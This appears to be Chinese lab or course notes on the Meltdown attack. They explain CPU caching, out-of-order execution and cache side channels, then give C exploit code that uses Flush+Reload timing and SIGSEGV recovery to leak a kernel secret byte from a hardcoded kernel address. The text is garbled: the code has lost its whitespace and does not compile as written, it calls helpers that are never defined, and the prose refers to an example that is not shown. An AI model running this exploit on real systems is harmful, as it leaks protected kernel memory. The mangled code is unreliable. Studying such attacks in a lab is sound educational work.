CPU 缓存是一种硬件缓存,用于计算机中的 CPU 以减少访问主内存数据的平均成本(时间或耗
能)。从主内存访问数据要比从缓存中快得多。当数据从主内存读取时,它们通常会被 CPU 缓存,因
此如果再次使用相同的数据,访问速度将变得更快。因此,当 CPU 需要访问某些数据时,它会先查看
其缓存。如果数据在缓存中(这被称为缓存命中),则它会被直接获取;如果没有找到数据(这被称为
未命中),CPU 将去主内存获取数据。后者的花费时间明显更长。(相关详细课程笔记可见 计算机组成)
上面的 Example 的描述似乎从 CPU 外部角度来看非常正确,但是我们深入 CPU 内部并从微架构级别来看,会发现第 3 行将成功读取内核数据,且第 4 行及后续指令也有可能会被执行,这是因为 CPU 采用的优化技术——乱序执行。
乱序执行
与严格按顺序执行不同的是,现代高效率的 CPU 允许进行乱序执行以充分利用所有执行单元。按照顺序依次执行指令可能会导致性能较差和资源使用率低,因为当前指令在等待前一个指令完成时,有些执行单元会是空闲的。乱序执行即为,只要所需资源可用,CPU 可以在适当的时候提前执行后面的指令。(其实就是 CPU Pipeline 不断疯狂进行改进的结果)
Intel 和其他几家 CPU 制造商在设计乱序执行时犯了一个严重的错误:如果提前执行的指令被发现不应该被执行,那么 CPU 应该将这些指令的执行痕迹抹去。CPU 的确是抹去了指令对内存和寄存器的影响,但忘记了抹去在缓存上留下的痕迹。在进行乱序执行期间,引用的内存被加载到寄存器中并也被存储到了缓存中。如果这些乱序执行必须被丢弃,那么由这些执行导致的缓存也应该被清空。不幸的是,在大多数 CPU 中并非如此。因此这就留下了一个可观测的痕迹,使得 Meltdown 漏洞得以完成攻击。
乱序执行为我们提供了从内核内存读取数据的机会,然后我们可以利用这些数据进行一些操作,从而在 CPU 缓存中产生可观测的痕迹。利用 CPU 缓存进行侧信道攻击,我们便可以观测到那个可观测的痕迹,从而可以得到内核内存中的秘密值,这便是 Meltdown 攻击。CPU 在完成访问检查之前能进行多久的乱序执行取决于访问检查的速度有多慢。这是一个典型的竞态条件情况,涉及乱序执行与访问检查之间的竞争。乱序执行越快,我们能够执行的指令就越多,从而更有可能创建一个可以帮助我们获取秘密的可观测痕迹。
如果内核数据已经在 CPU 缓存中,那么将内核数据加载到寄存器中的操作会更快,我们可能会在安全检查完成之前就执行了关键的指令——用于读取数组的那一条指令。如果一个内核数据项未被缓存,使用 Meltdown 来窃取该数据将是非常困难的。所以我们可以让用户程序调用内核模块中的一个函数。这个函数将访问秘密数据但不会将其泄露给用户程序。这一访问的效果仅仅只是让该秘密数据放入 CPU 缓存中。
staticintscores[256];voidreloadSideChannelImproved(){inti;volatileuint8_t*addr;registeruint64_ttime1,time2;intjunk=0;for(i=0;i<256;i++){addr=&array[i*4096+DELTA];time1=__rdtscp(&junk);junk=*addr;time2=__rdtscp(&junk)-time1;if(time2<=CACHE_HIT_THRESHOLD)scores[i]++;/* 如果是缓存命中,则该值加 1 */}}// 信号处理器staticsigjmp_bufjbuf;staticvoidcatch_segv(){siglongjmp(jbuf,1);}intmain(){inti,j,ret=0;// 设置信号处理程序signal(SIGSEGV,catch_segv);intfd=open("/proc/secret_data",O_RDONLY);if(fd<0){perror("open");return-1;}memset(scores,0,sizeof(scores));flushSideChannel();// 在同一地址上重试 1000 次for(i=0;i<1000;i++){ret=pread(fd,NULL,0,0);if(ret<0){perror("pread");break;}// 将待探测数组缓的缓存清除for(j=0;j<256;j++)_mm_clflush(&array[j*4096+DELTA]);if(sigsetjmp(jbuf,1)==0){meltdown_asm(0xfb61b000);}reloadSideChannelImproved();}// 找出得分最高的索引intmax=0;for(i=0;i<256;i++){if(scores[max]<scores[i])max=i;}printf("The secret value is %d %c\n",max,max);printf("The number of hits is %d\n",scores[max]);return0;}